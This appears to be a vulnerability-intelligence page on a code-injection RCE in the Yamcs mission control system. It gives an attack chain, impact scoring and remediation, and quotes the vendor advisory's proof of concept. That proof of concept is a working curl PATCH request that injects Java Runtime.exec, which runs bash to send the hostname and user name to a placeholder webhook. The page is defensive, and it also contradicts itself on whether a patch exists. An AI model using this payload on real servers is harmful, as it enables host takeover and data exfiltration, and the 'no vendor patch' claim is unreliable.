Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with ChangeMissionDatabase privilege
-
DeliveryPATCH existing algorithm via MDB REST API
-
ExploitInject Runtime.exec Java payload
-
ExecutionJanino compiles snippet unsandboxed
-
PersistFeed telemetry to trigger evaluation
-
ImpactExecute OS commands as Yamcs process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concrete preconditions drawn from the advisory: (1) a running Yamcs instance with an active processor (e.g. instance=myproject, processor=realtime); (2) a valid authentication token for an account that holds the SystemPrivilege.ChangeMissionDatabase privilege - consistent with the CVSS PR:H; and (3) network reachability to the Yamcs REST API MDB override endpoint (PATCH /api/mdb/{instance}/{processor}/algorithms/...). The attacker injects Java into an existing algorithm's text, then must trigger evaluation by supplying telemetry the algorithm depends on. Limiting factors: this is not exploitable by anonymous or low-privileged users (the high ChangeMissionDatabase privilege is mandatory), no user interaction by a victim is needed (UI:N), and the algorithm must actually be evaluated, which depends on the targeted algorithm receiving its input parameters. There is no special non-default configuration required beyond having Java-expression algorithms enabled, which is standard Yamcs MDB functionality. |
| Impact | The CVSS 3.1 base score is 9.1 (Critical) with vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, indicating a network-reachable, low-complexity attack requiring no user interaction but high privileges, with a scope change reflecting escalation from the application's privilege boundary to the underlying OS. The PR:H requirement is the principal mitigating factor: the attacker must already hold the SystemPrivilege.ChangeMissionDatabase privilege, so this is a privilege-escalation/post-authentication RCE rather than a pre-auth internet-facing threat. Publicly available exploit code exists (a working PoC is published in the GitHub Security Advisory), which raises practical risk, but there is no public exploit identified as being used in active campaigns and the CVE is not in CISA KEV. No EPSS score was provided in the input, so probabilistic exploitation likelihood cannot be quantified here, and no SSVC decision was supplied. Net assessment: a genuine critical-severity issue for anyone who grants MDB-edit rights to semi-trusted operators, but the high-privilege precondition makes mass, untargeted exploitation unlikely compared to a pre-auth flaw. |
| Exploit ScenarioDerived | An operator or compromised account that has been granted the ChangeMissionDatabase privilege sends an authenticated PATCH request to the MDB algorithm-override endpoint, replacing the body of an existing algorithm (e.g. copySunsensor) with Java that calls Runtime.getRuntime().exec() to launch a reverse shell or beacon to an external webhook. When matching telemetry arrives and the algorithm is evaluated, Janino compiles and runs the payload, giving the attacker command execution on the host. A complete working PoC for this network-vector, low-complexity attack is published in the vendor advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 27, 2026
Remote code execution in Yamcs (Yet Another Mission Control System) versions before 5.12.7 allows an authenticated user holding the ChangeMissionDatabase privilege to run arbitrary OS commands on the server host. The flaw lives in the JavaExprAlgorithmExecutionFactory, which dynamically compiles user-supplied algorithm text with the Janino compiler without any sandbox or restrictive ClassLoader, so injected Java (e.g. java.lang.Runtime.exec) executes with the privileges of the Yamcs process. A detailed proof-of-concept exploit using a REST PATCH to override an existing algorithm is publicly available in the vendor advisory; the issue is not listed in CISA KEV.
RemediationAI
Vendor-released patch: 5.12.7 - upgrade the org.yamcs:yamcs-core dependency (and the deployed Yamcs server) to 5.12.7 or later as the primary fix, per the advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6. Until the upgrade is applied, reduce exposure by tightly restricting who holds the SystemPrivilege.ChangeMissionDatabase privilege (treat it as equivalent to host shell access) and auditing the current role assignments, since any holder can execute code; the trade-off is that legitimate operators lose the ability to edit Mission Database algorithms. Additionally, restrict network access to the Yamcs REST API (notably the /api/mdb/.../algorithms override endpoints on the management port, commonly 8090) to trusted administrative networks, and monitor for unexpected child processes spawned by the Yamcs JVM or anomalous outbound connections that would indicate algorithm-based command execution; note that network restrictions do not stop an already-privileged insider, so privilege reduction remains the more effective interim control.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs is an open-source mission control framework (yamcs-core, distributed as the Maven artifact org.yamcs:yamcs-core) used to operate spacecraft and other remote assets. It supports user-defined algorithms in its Mission Database (MDB) that transform and derive telemetry/command parameters. For Java-expression algorithms, the org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory feeds the algorithm's text into Janino's SimpleCompiler, which compiles the snippet into a real JVM class at runtime. This is a textbook CWE-94 (Improper Control of Generation of Code / 'Code Injection') root cause: because the compiled text is treated as trusted source code rather than data, and no security manager, allowlist, or restricted ClassLoader constrains what the snippet may reference, the snippet can call arbitrary Java APIs including Runtime.getRuntime().exec() to spawn OS processes.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/yamcs/yamcs) · only source for this CVE.
CVSS VectorVendor: https://github.com/yamcs/yamcs
DescriptionCVE.org
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.
Proof of Concept (PoC)
The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.
Prerequisites:
- A running Yamcs instance with an active processor (e.g.,
instance=myproject,processor=realtime). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege.
Steps to Reproduce:
- Send an authenticated HTTP
PATCHrequest to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g.,copySunsensor). The payload usesjava.lang.Runtimeto execute a reverse shell or ping an external webhook.
curl -i -X PATCH \
'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
-d '{
"action": "SET",
"algorithm": {
"text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);"
}
}'- Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to generate sun sensor data). - The Yamcs server uses the Janino
SimpleCompilerto compile the injected text into a Java class on the fly. Since no restrictiveClassLoaderis applied, the payload is successfully compiled and executed. - Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
Blast Radius
ecosystem impact- 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.12.7.
Executive ViewAI
Yamcs mission control systems running versions before 5.12.7 are vulnerable to remote code execution; publicly available exploit code exists. Authenticated users holding the ChangeMissionDatabase privilege can inject arbitrary OS commands with Yamcs process privileges, potentially compromising servers running critical mission control operations. No vendor patch is currently available.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Revoke ChangeMissionDatabase privilege from all non-essential accounts; (2) Implement network access controls restricting Yamcs administrative interfaces to trusted networks only; (3) Enable algorithm modification event logging and configure alerts for any algorithm text changes; (4) Disable dynamic algorithm compilation features if operationally feasible; (5) Deploy host-based command execution monitoring on Yamcs servers to detect anomalous OS command invocation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-44957
GHSA-524g-x36v-9wm6
NVD
CVE.org
EPSS
Exploit-DB